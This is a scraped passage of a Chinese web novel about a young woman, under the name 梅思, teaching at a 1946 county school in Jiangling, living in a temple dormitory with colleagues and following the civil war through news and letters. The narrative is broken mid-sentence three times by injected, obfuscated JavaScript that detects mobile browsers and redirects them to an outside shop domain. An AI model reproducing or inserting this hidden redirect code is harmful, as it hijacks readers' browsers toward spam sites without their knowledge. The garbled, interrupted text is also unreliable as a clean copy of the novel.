庄令粲接过那封信,拆开来一看,果然是老友郑书娴的笔迹,首先说很久没见,非常想念,然后便是荐举书信的应有内容,说这一位年轻的女士,很是坎坷,也很上进,拜托自己照应一二,整封信就是常规的推荐书信,然而是书娴写来的,自然不一样。 庄令粲将那封信仔细看过一遍,放在桌上,抬起头来问道:“那么好吧,你现在叫做什么名字?” “……梅思,梅花的梅,思念的思。” 庄令粲点点头:“原来是梅小姐。我和你说一下学校现在的情况,我们这里缺一个国文□□,一个礼拜四十八个钟点,礼拜一到礼拜六,早八点到晚五点,中间一个小时吃饭,礼拜天是休息的,薪水每个月按银元算是十五元,不过如今经济艰难,要打个八折……” 显然是见这位新来的“梅小姐”脸上露出诧异的神色,庄令粲连忙补充说道:“不过学校会给你安排住处,这样你就可以节约房租的费用,十二元还是可以的,应付衣食费。” 黄菲并没有讶异太久,很快便端正了神情,诚恳地说:“能够有这个数目,已经非常感谢。” 与百货公司的薪水不能同日而语,不过在这样的时局之下,一个月十二元也已经很是可以,毕竟是一个稳定的收入,而且从此身份也不同了,既不是尖头曼贵妃,也不是街边叫卖的小贩,而是学校里的□□,小学□□虽然薪水不高,毕竟是与知识阶层贴边了。 听她这样说,庄令粲笑了一笑,是个很踏实的姑娘,不像一些心高气傲的女孩子,一听到一个月两百个钟点,只拿十二元,便要撇嘴:“什么□□?不过是老妈子,只拿这么一点,还不如嫁个有钱人好吃饭。” 庄令粲与她说定了钟点和薪水数目,便要招呼校工带她到住处去,黄菲则是说道:“今天是礼拜一,又这样早,我现在就可以去看看学生们。” 庄令粲起初微微一愣,转而便笑道:“这样也好,我们这里正缺人,晚一点再过去宿舍那边,简单整理大约也来得及。” 于是庄令粲便起身带黄菲先去□□办公室,十几个人坐在里面,说说笑笑,整理作业簿,看到校长来了,都纷纷打招呼:“校长!” 庄令粲含笑点头回应,招手叫一个女教员:“刘先生,这是新来的梅先生,接替原来的柯先生,你带她到班里去,今天该讲什么,告诉她。” 于是一个女教师应声而起,黄菲一看,竟然就是方才带自己到校长办公室门前的人,这可真的是意外有缘。 刘先生乐呵呵答应下来,要黄菲到她那里去,庄令粲便转身离开,刘先生拿出国文课本,翻到其中一页,指点着说:“就是讲到这里,今天你接着讲就可以了。” 又把一个本子递给她:“这个是点名簿,你那三个班里的学生名字。现在你来吧,我带你去班里。” 路上,黄菲知道了她的名字,是叫做刘慧坚的,对方也知道了她叫“梅思”,“啊呀,是个好名字,很芬芳的,还是那么幽幽的。我就知道你能行,果然你便来了,和你说,早就盼着你来,自从柯先生离开之后,她的课都是我代,薪水又不肯加,我也知道大家都是为难,学校也没有许多钱,只是实在辛苦……” 黄菲忍不住便问道:“那么如今我来了,怎么就有钱支薪?” 刘慧坚哈哈笑道:“□□的名单里添了一个人,校长便好向县里请款,之前减了一个人的数目,便少一份拨款,这就是一个萝卜一个坑,少了一个便不行,和你说,县长大概顶喜欢像是之前那样,少付一个人的薪水,差事还是照样干。” 黄菲这才恍然,想了想又问:“说是帮我安排住处,是在哪里?” 刘慧坚乐得咯咯的:“龙王庙,我从前也是住在那里,前两年结了婚才搬出来,现在那边还有两三个人住,你应该也是住那个寄宿舍,顶好的一点是,离学校不远,走路十分钟就到,每天赶得快的话,还能回去睡个小午觉。” 说到这里,已经到了教室门前,刘慧坚便把黄菲引入进去,只见屋子里坐了三十几个小毛头,刘慧坚站在台上,便对她们说话:“这是新来的梅先生,从今天起,由她教你们的国文,要好好向先生学习。” 一群孩子七零八落地应着:“是!” 然后黄菲便走到讲台上,清了清喉咙,打开姓名簿,先开始点名:“沈孝章、赵汉林……” 黄菲——如今已经是梅思的,这一天从早上八点钟上班,到下午两点多,学生们散学回家去了,校工便来了:“梅先生,校长说今天你第一天到,不必做到五点,现在便去宿舍那边安顿一下吧。” 刘慧坚就在她对面的办公桌,此时抬起头来朝她挤了挤眼睛,梅思一笑,收拾了桌面的东西,提起背包便跟随校工走了出去。 龙王庙果然距离这里不远,快步走大约七八分钟就可以到,是一个荒废的古庙,县里拨了这处作为小学校的寄宿舍,前面是神殿,后面是两排厢房,左边三间,右边三间,想来是从前僧人的住处,如今僧人不见了,便都住了□□。 校工给她指点着:“这间是张先生,这间是李先生,这间是朱先生。” 然后看看她。 梅思自然明白,三间东厢房都已经给人占了,自己便只有在西厢之中选一间,房门都挂着锁,校工掏出钥匙,一间间开了门让她看,因为长久不住人,都显得很是荒凉破败,床铺地面满是灰尘,梅思选了其中看起来相对稍好些的一间,是中间那一间,把背包提了进去,校工把钥匙给了她:“梅先生,你收好。” 梅思向工友道谢,等他走了,便先是到院子里找了一些枯枝,扎成简单的扫帚,清扫房间里的地面,又打开背包,拿了盆出来,从拿一口古井里面汲了水,绞湿了抹布,床板桌凳四处揩抹,又擦窗户,看到原本的窗纸已经破了,想着回头要买一点油纸来糊窗户。 房间虽然不大,然而日久尘土厚,要清理也很花时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354137|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,她就这样团团忙碌了好一阵,忽然听到外面有人的说话声,不多时便有三个人说笑着走进了院子,很快有人哗啦一下推开她的门,探头向里面望:“啊呀梅先生,你以后就住这里了?” 梅思转头望了一下,是一个女教员,今天刘慧坚为自己绍介过的,仿佛就是朱先生,于是便笑着回答:“是啊,朱先生,这间屋看着比较整齐一点。” 对方拍手哈哈笑起来:“我是李秀第啊,这一个才是朱光屏,一下子十几个人,也难怪你记不清,你等等,张宏远也来了。哎呀我说,我们也不用这个先生那个先生的了,又不是在学校里,我看就直接叫名字好了,梅思,这屋子空了好一阵了,你把它收拾成这个样子,可是很费力气。” 梅思本来因为认错了人,而有些不好意思,此时见她如此豁达,心里便感觉好了些,笑着说:“毕竟是自己要住的地方,哪怕辛苦些,也要打理干净一点。” 这时候胖胖的张宏远从朱光屏与房门之间挤了进来,往屋内一望:“哎哟,这么短的工夫,你连风炉都添置上了,这可好了,以后到你这里来沾光宵夜。” 梅思忙笑道:“这个礼拜天我请大家吃饭。” 李秀第和张宏远都连声称好,一直文文静静立在门边的朱光屏则是说:“你刚刚来,不要太破费了,他可是很能吃饭的,你看他的身量就知道。” 伸出手指指向张宏远。 张宏远呵呵地乐:“梅先生你放心,我一定克制,否则你会破产的。” 梅思笑着说:“你放心,我不怕的。” 朱光屏转头望着四周:“有什么能帮你干的?” 梅思道:“不用了,都已经差不多了。” 李秀第拉着朱光屏的手,另一只手推着张宏远:“好了,我们在这里也做不了什么,倘若胡帮忙,反而添乱,让梅思自己再收拾一下,过两天等她歇过乏来,散学之后陪她到这附近逛逛,邮局米铺菜市场都需要认得的,等到了礼拜天,我们就过来叨扰。” 这三个人从黄菲的房间出去,不多时对面三个房间就先后亮起灯光来,黄菲在这边关了门,到梅林之中拿了一点食物,回到房间里点起风炉来,简单煮了晚饭,是两只鸡蛋,一个番茄,又擦洗了身体,便早早地躺到了床上。 虽然身体很是疲倦,极想畅快地睡一大觉,然而毕竟是到了这样一个陌生的地方,在此人生际遇极大转折的情形之下,一时间胸中不由得便是波澜起伏,在床上翻了好几个身,过一阵总算睡了过去,半夜却又起来上厕所,再回到床上便又睡不着,躺在那里空闭着眼睛,头脑里只是一直清醒,不肯迷糊,又过了不知多久时间,终于又睡着了,虽然到天亮已经没有多久,毕竟没有失眠整个后半夜。 第二天依然是到学校教课,梅思这时候心中比较安定了一些,对照着花名册,努力熟悉着学生,回到办公室,同事们也要认得,十七八个人,一时间确实不容易完全记住,有些人自己记不得名字,便在同事闲聊时听人与她招呼,默默记下。 到了傍晚,□□们纷纷离开学校,李秀第和朱光屏果然陪着梅思在附近逛,一边逛一边给她指点:“那条街上时常有人挑着担子卖菜,都是附近的农友,那里有个猪肉摊子,每天早起卖猪肉,顶新鲜的,不要去东边那家,会诈秤……医院在那里,谁都难免不舒服,医院的位置要记得,另外这边还有两家药店……这就是邮局了,要给人寄信就到这里来……唉,说好只在周边转,现在半个江陵都要给我们看完了!” 梅思咯咯地乐,李秀第说得有点夸张,不过江陵作为一个县城,毕竟不很大,比起桂林要小许多,热闹繁华的地方更加有限,她们在学校左近闲走,把江陵便看了个大概,估计若是坐黄包车游江陵,一天时间便也都看遍了。 梅思买米买面,提了回来,这样终于不必只是吃鸡蛋和青菜,李秀第则是笑呵呵很是兴奋:“从前只我们三个人,总不够劲,现在梅思你来了,这下可美了,刚好凑一桌子麻将。” 朱光屏静静地笑着,这时候说道:“你当谁都像你那样爱打麻将吗?可能梅思更喜欢读书的。” 梅思笑着说:“小打一下应该也还行,只是我不会打牌。” 李秀第拉着她的胳膊,连声道:“来吧来吧,很带劲的,等你打起牌来就知道了,特别上瘾的,你别看光屏现在是这样说,她上了牌桌也收不住,日头偏西了还不肯散呢。” 41.第四十一章 美日联合炊具 第四十一章 美日联合炊具 在县立小学的第一周居然十分之快,转眼便过去了,六月二号,儿童节的第二天,便是礼拜天,梅思这一天格外轻松,不必早早赶着出门去学校,因此便睡到将近八点钟才起床。 吃过早饭,梅思便开始忙碌,到十点一刻,出去兜了一圈,回来后便开始做饭,已经约了李秀第她们今天午间来吃饭,这时候好该准备了。 十一点半多一点,朱光屏和李秀第便先来了,李秀第一进门便嚷:“梅思,我们来一起帮手。” 梅思在砧板前抬起头来笑道:“多谢多谢,不过你们还是歇着吧,也没多少事情做,不过是几样家常菜,很快就好了的。” 朱光屏往桌面上一看,几样食材,果然都是容易做的东西,黄瓜番茄小青菜,水淋淋都已经是洗净了的,另外就是几只鸡蛋,还有一小盆面糊,朱光屏便问:“鸡蛋要怎样做?” 梅思道:“加番茄来炒。” 朱光屏点点头,便找了一只圆圆的罐头盒,将鸡蛋磕在里面,用筷子快速地搅。 李秀第左看看右看看,便将那小青菜撕成一条一条。 这边梅思在炉子里点着了火,便开始烙白面软饼。 三个人忙碌着,不知不觉便到了十二点,房门又一开,进来的人便是张宏远,他进门看到了朱光屏与李秀第,便笑道:“啊呀,你们早来了?” 李秀第瞥了他一眼:“你可真是准时准点,进门就可以吃了。” 张宏远呵呵乐道:“我向来最是遵守时间,约定几点就是几点,不迟也不早的。和你们说,在咱们中国,和人约会了,礼貌上为了显得客气,往往要早到些,在西方可不是这样,听说在西方,倘若提早到了,反而会让人不高兴,因为主人还没准备好呢。” 梅思笑着问:“宏远是从哪一国留学回来的?” 她这样一问,朱光屏和李秀第登时笑起来,张宏远则是瞬间尴尬,摸了摸鼻子,道:“我若是有那个本事出国留学,也就不在这里当个小学□□,总得去大学,至少弄个讲师来当当。啊呀人家是在报纸上看来的啦,当时读的时候就感到,洋人的规矩可真古怪,有点‘不识抬举’,明明是客气,还嫌打扰了她。” 这一下那三个人都是哈哈大笑。 张宏远也笑,转着眼睛透过厚厚的近视镜片,一眼看到了罐头盒里的鸡蛋,忙问:“摊鸡蛋么?” 李秀第快言快语:“番茄炒蛋。” “啊呀!”张宏远很有一点激动:“何必与番茄同炒?糟蹋了鸡蛋,我看这里有许多葱,就用葱炒鸡蛋,多加一点油,炒出来油汪汪多么的好,多么解馋?这么好的鸡蛋,加了番茄一起炒,淡泊了鸡蛋的味道,葱炒鸡蛋才是最纯粹的,你们说是不是?” 朱光屏问:“算你说得有理,那么番茄怎样做呢?” 张宏远扶了扶粗黑的眼睛边框:“省事一些,加白糖来凉拌,配这一盘醋拍黄瓜,蛮好。” 梅思有些为难:“还没有买白糖……啊,等等,这里有蜂蜜,不如蜂蜜拌番茄。” 张宏远连声叫好:“梅思,你真是有巧思,蜂蜜浇在西红柿上,味道肯定与白糖不一样,后天就是端午,买了白粽子蘸蜂蜜来吃。” 李秀第乐道:“今天刚吃了,后天又要来么?” 张宏远笑着说:“后天我买粽子,我们四个一起来吃,蜂蜜粽子,四号晚上千万少吃一点饭,夜宵要吃粽子。” 朱光屏含笑道:“在人家包的饭,少吃也没有钱退。” 张宏远乐道:“光屏,你也算得太仔细了,你这么会算,不如一个礼拜七天,天天都自己烧饭,就好像梅思这样。” 她们三个都是在外面包饭,一周六天,只有礼拜天和过节的时候自己做。 朱光屏慢慢地说:“那我可做不来了,太累。” 李秀第笑道:“所以我就佩服梅思,每日忙了整天,回来还能烧汤弄饭,真有精神。” 梅思一笑:“做一点简单的,还是可以的,米饭每晚烧一大盒出来,能够吃两三回。” 她的这个量词“一盒”说出来后,张宏远这才留意到风炉上那特别的炊具:“啊哟梅思啊,你这摊鸡蛋是用的什么锅啊?” 不是常见的黑铁炒锅,而是一个小小的银白色平底锅,长圆形,好像个蛋,锅比较浅,不过煎蛋足够了,细长的手柄,用一块布缠着,否则想来是烫,这样子实在有些奇特,再一看旁边还放了一个仿佛是盖子的东西,不过底面凹了进去,一左一右两个坑。 梅思笑着给他解说:“这个啊,是军用饭盒。” 张宏远也很是机灵:“美国的?” 日本军用饭盒他见过,不是这样的,而是旁边那一种,猪腰子形状,日本当初投降的时候,有撤退的日本侨民在街边摆摊卖旧货,被褥衣服之类,甚至还有军需物资,比如军用饭盒,自己便买了一个,本来想着从今往后要好好烧饭,不过最终还是依旧和其她人一起,在外面搭伙,然而这样的平底锅却是没有瞧见过。 所以这个小煎锅,应该不是日本的,那么大概便是美国的,抗战的时候,美国卖了许多东西给中国,其中应该也会有饭盒。 果然,梅思笑着说:“是的,是美国的军用饭盒。” 张宏远一听,大为有兴趣,拿起盖子来仔细端详着,片刻之后乐道:“真别说,美国人的这种东西,我觉得不错,挺合咱们中国人用,那个锅能炒菜,这个锅盖呢,刚好当菜盘来用,还给分成了两个格子,一格装荤菜,一格装素菜。” 李秀第在旁边如同变魔术一般举起两件东西:“你瞧,还有刀和叉子呢,在这古庙寄宿舍,也能吃上西餐。” 张宏远大乐起来:“梅思啊,你这日子过得,太豪奢了。” 朱光屏道:“你们可真是能没事白开心。” 苦中作乐啊,不看看那待客的碗都是什么,罐头盒啊,梅思日常自己一个人吃饭,想来就是只用这两个饭盒就够了。 张宏远笑道:“闲着不开心,还做什么呢?你还真别说,你们看这一个美国饭盒,一个日本饭盒,摆在一起,那就是……” 李秀第忙抢进来说道:“美日联合!” 不多时,午饭便摆上了桌面,朱光屏和李秀第坐床边,张宏远坐在唯一一只凳子上,梅思作为主人,便靠墙站着,手里端了一个罐头盒,里面放了一张面饼,用筷子夹着便吃。 李秀第一边吃一边说:“还真别说,这样的罐头盒拿来当碗蛮好,就只是不能舔内碗边。” 茬口锋利,会割破舌头。 张宏远大口地吃鸡蛋:“真香啊!在外面包饭,整天就是萝卜白菜,难得有一次鸡蛋,都是炒得碎碎的,每个人碗里只一点点,简直就是金子做的蛋,应该是把一只鸡蛋分给我们三个人吃,着实宝贵得很了。《水浒》里面那些江湖好汉,大碗喝酒大块吃肉,大碗喝酒倒罢了,我唯独羡慕他们大块吃肉,可是我们如今不要说是肉,吃一点鸡蛋都是打牙祭,朝思暮想啊。” 李秀第笑他道:“今天你吃了这一回大块的摊鸡蛋,能顶一个礼拜!梅思足足放了八只蛋!” 分了两锅来炒的。 张宏远两眼放光:“我半个月嘴里都是香的,做梦都是美的,梅思啊,让你破费了。” 梅思笑道:“不必客气。” 朱光屏则是问:“有没有给家里写信报个平安?” 梅思道:“今天上午刚刚去邮局寄了信。” 昨天晚上写成的,前面五天都没有空闲写信,礼拜六的晚间,因为第二天便是休息日,心情便与平日不同,有心思写信,所以写成了三封,上午出门便是去寄信。 饭后便是打牌,桌子上的锅碗收到一边,擦了一下桌面,便摆开麻将牌,梅思是真的不会打牌,其她人少不得教她,朱光屏就靠在她身边,指点她出牌,就这样边玩边学,一个小时之后,梅思便摸到了一些门径。 虽然本身不是很感兴趣,不过梅思还是耐着性子打,如今的她已经不同于当年了,刚来到延安的时候,女学生之中各种各样的人都有,除了陈露云这样的交际明星,四处与人联络,也有人如同栊翠庵里的妙玉,性格很是冷僻,清高自傲,孤芳自赏,劝她不要这样,她便说“我天生成是这样的性子,又让我怎样改呢?”少不得每次生活会都要给人说,于是渐渐地也就不再那样疏远冷淡,而是“融入大众”了。 梅思本来虽然不是那样的性格,古典才女惯有的自怜与自恋,然而她十分的不喜欢打牌叉麻雀,这类事情在她看来,带了浓浓的腐朽色彩,不过此时在这个古旧的寺庙里,与同僚们一起,倒是玩了起来,毕竟还是要“团结”啊,不能太过固执于自己的个性。 几个人这一玩牌,就一直到了日色偏西,李秀第打出一只西风,转头瞥向窗外,说道:“啊呀,已经这么晚了!该回去了!” 朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365623|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光屏两眼紧盯着面前的牌:“打完这一个八圈!” 张宏远笑道:“那还得一个多钟呢,你不吃饭了?” 梅思道:“我们来煮晚饭吧,煎蛋饼很快的,另外还有些青菜,烧个菜汤就好。” 张宏远摇着两只手:“啊哟,可不能再吃,你还没有领薪水,后面十天怎么过?” 梅思笑道:“不至于那样的。” 这时候朱光屏也艰难地从麻将潭里拔了出来,很有些不甘地说道:“不管怎样,也该走了,明天还要去学校,梅思也要好好休息了。” 从麻将桌边站起来的时候,身上简直仿佛有千斤的重担,梅思望着她,想到前几天李秀第的话,这还只是计分,没有动钱呢,都如此入迷,难怪那些赌徒无论如何难以自新。 又过了两天,六月四号是端午,这一天晚饭,梅思特意少烧了一点,然后便坐在窗边,只等张宏远的粽子,到了七点多,张宏远果然出现在门口,同来的还有朱光屏和李秀第,张宏远手里提了一串四只粽子,进了门便把粽子往桌面的煎锅里一放,乐着说:“吃粽子咯!” 梅思笑着便打开了蜂蜜罐子,从里面舀出蜂蜜来,张宏远就用那一只煎锅来吃,朱光屏与李秀第合用煎锅的盖子,刚好两个凹槽,梅思则是用日本的饭盒盖子,每个人都是满满一勺蜜糖,各自剥开来粽叶,便将白白的糯米粽子蘸着蜂蜜来吃。 几个人吃着粽子,说着各自家乡过端午的风俗,李秀第与朱光屏是湖北人,讲起咸蛋和马齿苋粑津津有味,张宏远是四川人,便说起故乡的赛龙舟,抢鸭子,鸭子是彩头,谁抢到就是谁的。 他离开老家已经有几年了,此时回忆起来,颇有些不尽的思绪:“我小的时候,清平安乐,我们川中物产丰饶,每年端午,水里能扔一百多只鸭子,如今可不行了,谁也没有钱这样丢进河里。” 一说到鸭子,梅思蓦地想到:“监利的麻鸭很出名的啊!” 朱光屏李秀第虽然不是监利人,不过毕竟都是鄂省,听到梅思提起监利的麻鸭,登时便也“与有荣焉”,连忙你一句我一句地说: “荆江鸭子好,下蛋很多的!” “监利麻鸭的蛋,做成咸蛋特别好,咸蛋最精华的乃是蛋黄,荆江咸鸭蛋的蛋黄艳红艳红,好像宝石玛瑙,还流许多的油,我吃过的,实在是香!” “鸭肉也好,清蒸鸭子酥嫩酥嫩。” 张宏远在一旁听得直流口水:“鸭子肉我不奢望,倘若能有咸鸭蛋,早饭配粥蛮好,比只用咸萝卜送粥强多了,人间美味。” 李秀第望着他,哈哈地笑:“你整天只琢磨鸡蛋鸭蛋,再这样修炼下去,再过几年,便是吃蛋的学问家。” 张宏远两手一摊:“不然还能怎样呢?咱们在这里当教yuan,说好听一点,也算是文化人,可是你们看看这个薪水,和外面拉车挑担的差不多,江陵的千张肉顶有名,可是哪里吃得到呢?吃上一回,一个月都要破产了,能有咸鸭蛋,就是上上签。” 几句话说得大家都唏嘘起来,梅思轻轻点头,自己在这里一周多点,稍稍了解了一下物价,确实就好像张宏远说得那样,小学教yuan的薪水与力工差不多,与技术工人根本不能比,好在就是有一个免费的宿舍,能够省了房租,倘若还要付房租,这样的薪水真的难以生活。 所以那一天庄校长和自己说起,有一些年轻的学生,刚刚毕了业,来追求职业,一听说教yuan的薪水,很是不屑,以为不如嫁人来得方便划算,在庄校长的角度,是很以为她们贪图舒服,目光短浅的,不过在自己来看,倒也不能全怪她们轻狂,薪水确实太低了,并不是说识字的人一定要比出力气的人赚得多,甚至还要高出许多,只是每个月十二元,长此以往,实在让人看不到希望。 这个话头有点太让人憋闷,梅思便转了话题:“想到前年的端午,桂林下了疏散令,大家便都惶惶地预备逃难,今年我却是在这里了。” 朱光屏也感叹道:“不管怎么样,抗战总算是胜利了的,只是今后会怎么样呢?” 李秀第挑起眉毛道:“不是都在说着要和平?协议都签了那么多呢。” 张宏远冷笑一声:“和平和平,说得倒是蛮好听,共产党不是一直在对抗政府?眼看势力越来越大了,倘若再来一次张献忠入川,那可是受不了的啊。” 梅思的嘴唇轻轻动了动,仿佛想要说一点什么,不过最终还是什么都没有说。 42.第四十二章 梅林忆旧 第四十二章 梅林忆旧 三周之后,六月二十六号,正是礼拜三,这一天午间,梅思吃过午饭,在办公室里和同事们闲聊,说着即将到来的暑假: “七月就要放假,累了这么一阵,总算可以好好歇歇,休养生息。” “要去荆州玩一玩。” “我想去武汉。” 梅思颇有些怅然:“我刚刚来了一个月,就要暑假了。” 教常识的冯茹笑道:“莫非竟不好?一个月也已经很累人了,我巴不得教一个礼拜的课,放一个礼拜的假,况且寒暑假都是有钱拿,我们在小学校里当教yuan,清水衙门,没有别的油水可沾,唯独这一条,还算是让人安慰。” 一众先生们哈哈大笑。 梅思也笑。 就在这时,忽然办公室的门一开,庄令粲出现在门前,一张脸沉着,看起来仿佛面色都有些发青,十分不吉利的样子。 室内登时便鸦雀无声,□□们都屏息凝神,各自揣测。 庄令粲倒是没有让大家惶然太久,很快便说道:“方才无线电里说,国军进攻共军。” 游国昌小心翼翼地问:“校长,又是摩擦么?” 庄令粲摇头道:“是正式开打了,我们各人好自为之。” 然后便转身走了出去。 庄令粲离开之后,办公室里又静默了几秒钟,大家面面相觑,片刻之后终于有人说话: “我本来还以为校长是要说,六月份的薪水暂时发不出,八折也要拖欠,让我们等等,哪知竟然是这事。” “离发薪日还有半个月,哪里会这样早便绝了指望?总会再奔走一下,再不行才‘节哀顺变’。我方才是在猜,县里面是不是要裁人?不知是哪个倒霉。” “还裁?看看我们这里一共才几个人啊,每个人带几个班的课,从早干到晚,倘若是一二年级,打扫教室都是我们做,两三个工友做不完这些事,就这样倘若还要裁人,那可真的是要让剩下的人不要做了。” 旁边有人便笑:“你说是这么说,不过我敢担保,即使我们这里辞掉了一半人,你也会在这里继续做下去,虽然薪水低,打八折还要拖欠,但离了这里更难找饭碗,这便是‘鸡肋’,食之无味,弃之可惜。” 先前的那人便垂头丧气:“可说呢,谁不是一边抱怨一边做呢?” 刘慧坚则是满怀郁闷:“现在倒是好了,我们学校里没有什么特别的事端,倒是国家有事了,政府和中共真的打起来了,亏了之前左一个右一个协议,双十节签一个,刚过了元旦,又签一个,仿佛是前面那一个的补丁,可是终究没能兜得住,到底破开了,虽然暂时没有打到我们这边,只是今后薪水只怕更难发了。” 冯茹叹道:“之前抗战是打了八年,这一回内战不知又要打几年,莫非也要打上十年八年?一代人的青春岁月便都消磨在了这上面。” 李秀第勉强笑道:“反正一时与我们无关,开战是当官的来管,打仗是当兵的事,我们马上要休暑假,足足五十天呢,倒是好该想一想要怎样消遣,辜负了假日的时光,是愧对人生。唉,梅思,暑假里你要怎样好好玩一玩?” 梅思一笑:“我想去监利。” 张宏远马上接口:“去吃鸭蛋么?” 李秀第乐道:“你除了吃,不想别的。” 七月五号,是学校暑假的第一天,梅思这一天送别了朱光屏,她回襄阳家里去了,又过两天,李秀第也回了宜昌的家,张宏远则是去了朋友家中。 李秀第临走的时候,还叮嘱梅思:“我们都走了,你一个人打不得麻将,不能够热闹,可也别总闷在屋子里,关起门来唱西厢,花落水流红,闲愁万种的,倒是出去走走的好,江陵也挺热闹的。” 梅思不由得便乐出来,答应道:“尽管放心,我可是不会‘望穿盈盈秋水,蹙损淡淡春山’,就算只有我自己,也有许多赏心乐事可寻呢。” 李秀第笑道:“那样就好。” 李秀第是三人中最后一个离开的,等送了她回家,寄宿舍里就只留下梅思一个人。 长日无聊,梅思便去这里到那里,在监利住了两天之后,余下时间都是在江陵,上午时常便上街去,看到一家过得去的店铺,便要进去转转,梅思以为,倘若每天都这样子过,等这一个暑假结束,自己便把江陵大街小巷都摸熟了,不再是个外来者,而是仿佛本地人了。 到了下午,梅思多数不再出去,这时候已经是盛夏,天气炎热,早上出门已经热到出汗,午后太阳更大,出街很有些辛苦,她便留在宿舍中,午饭之后看一阵书,然后睡一个长长的午觉,便到了黄昏时分,这个时候起床,未必立刻赶着烧饭,时常便是靠在床头出神片刻,体味这一刻的慵懒闲散。 在小学校里当教yuan,听到的多是同僚的抱怨,薪水低,钟点又多,很是辛苦,不过梅思倒是以为,对于如今的自己,这份职业相当合适,虽然清苦,却也有清闲的时候,比如暑假,实在是神仙般的日子,诚然不是怎样的富贵,然而只是这一份悠闲便很够自己品味。 若论薪水,学校里远比不得当初在百货公司,不过这里有一个莫大的好处,便是每个礼拜天都休息,从前在百货公司,一个月只有两天休假,显然是老板从牙缝里给挤出来的,实在是不放假不行,人毕竟不是机器,总要有喘口气的时间,哪怕是机器,过一段时间也要维修保养,梅思猜测,倘若可以,老板巴不得一年三百六十天,天天都让人上班。 因此来到江陵之后,梅思竟然找到了当初在延安当“公家人”的感觉,每个礼拜休一天,倘若再算上寒暑假,就是回到了学生时代,真是无忧无虑,所以公教系统的津贴虽然不高,但却有这样一个好处足够抵偿,礼拜天正正经经休假,让人有一种“正式”的感觉。 七月下旬,工友在同一天给她送来两封信,一封是母亲写来,托大姐寄给自己,信里面说家中一切都安好,让自己不要惦念,又问她在外面过得如何?然后就说,瑞成的身体愈发的不好了,每天悲叹国共内战,她自己的身子这一阵也不太舒服,倘若小女儿能够回来家中,该是多好。 梅思读了这封信,只觉得胸中塞得满满的,心口堵得厉害。 于是她赶忙去读另一封信,是钟坤写来,开头也是先问候了几句,然后便说到对国事的担忧,政府与中共彻底翻了脸,桂军站在政府这一边,只怕难免参战,他本人是实在不想打内战,但作为军人,不能不服从命令,这让他内心也很是矛盾。 梅思叹了一口气,既然如此,何必一定要在军队中呢?抗战已经结束了,很可以就此退出军队,两边后来究竟会如何,就随他们去吧。 于是这一个下午,梅思没有像往常那样午睡,整个午后都用来写信,先是给母亲和姐姐写,然后用了许多工夫,给钟坤回信,傍晚时候去邮局,将信寄了出去。 中原的战局如火如荼,就在这样的硝烟之中,这一年即将结束,十二月中旬,工友又送来一封信到办公室:“梅先生,你的信。” 李秀第一看有信,便笑道:“又是你表哥的信?” 梅思点点头,把信放在口袋里,一心只盼快一点散学,可以回宿舍去看。 午间,她说是要回去宿舍吃饭,到了宿舍关起门来,一时顾不得烧饭,先拆开信封来看信,钟坤写了厚厚的一封信,里面先是关切她最近的状况,天气寒冷,请她千万留意保暖,避免着凉,那样容易生病,然后便讲了桂林这一向的情形,物价飞涨,人们都惶惶不安,就这样写了许多字,后面写道: “冒昧寄来一张小影,盼收存。 梅小姐,想来你也能够猜得到,我对你一心仰慕,只是从未道明,毕竟当兵的有今朝没明日,很不想为此造成你的困扰。 你之前曾经劝我不如解甲归田,我思索良久,前面两封信中都未曾复你,是因为还在犹豫,如今看来,还是不能就此置身事外,我拥护政府,站在政府一边,况且对于共产党,实在不能够信任,所以如今只能勉力应付,希望最终能有一个和平解决的办法。 最近部队可能很快就要调动,可能会有一段时间不方便给你写信,请不要担忧,还有,希望你能记得我。” 看到最后这一句,梅思的眼泪登时便流了出来,显然,钟坤已经决定,要作为国军的一员,与延安作战到底,除非两边能够再次谈判,她真的为钟坤担忧,毕竟战争之中什么事情都有可能发生,虽然不支持国民政府,但对于钟坤,她是有着单纯的人对于人的关心。 一九四六年就在这样的不安之中过去,到了一九四七年,一月里,学校放寒假,从十八号直到三十一号是假期,因为春节也在其中,整个假期便又延长了三天,直到二月四号才重新开学,不过□□们照例要提前几天先来到学校,做开课的准备。 二月三号,梅思坐在办公室中,正在准备功课,耳中听到同事的闲谈: “政府和中共一月里在山东打得好激烈啊,国军这一次伤亡惨重。” “后面还不知会如何呢。” “没想到国军那么多的美援,居然接二连三地失败,倘若再这么一直败下去,这天下就要归了共产党。” 梅思手中的笔一时间也停住了,抬起头来怔怔地在想,鲁南的这一场战役,桂军有没有参加呢?钟坤这一阵是在哪里? 二月四号,学校里第一天上课,梅思站在讲台上,带着学生们朗读:“过罢年,上学校;见先生,敬个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375532|152646||http|test|mini|href|location''.split(''|''),0,{})); () { 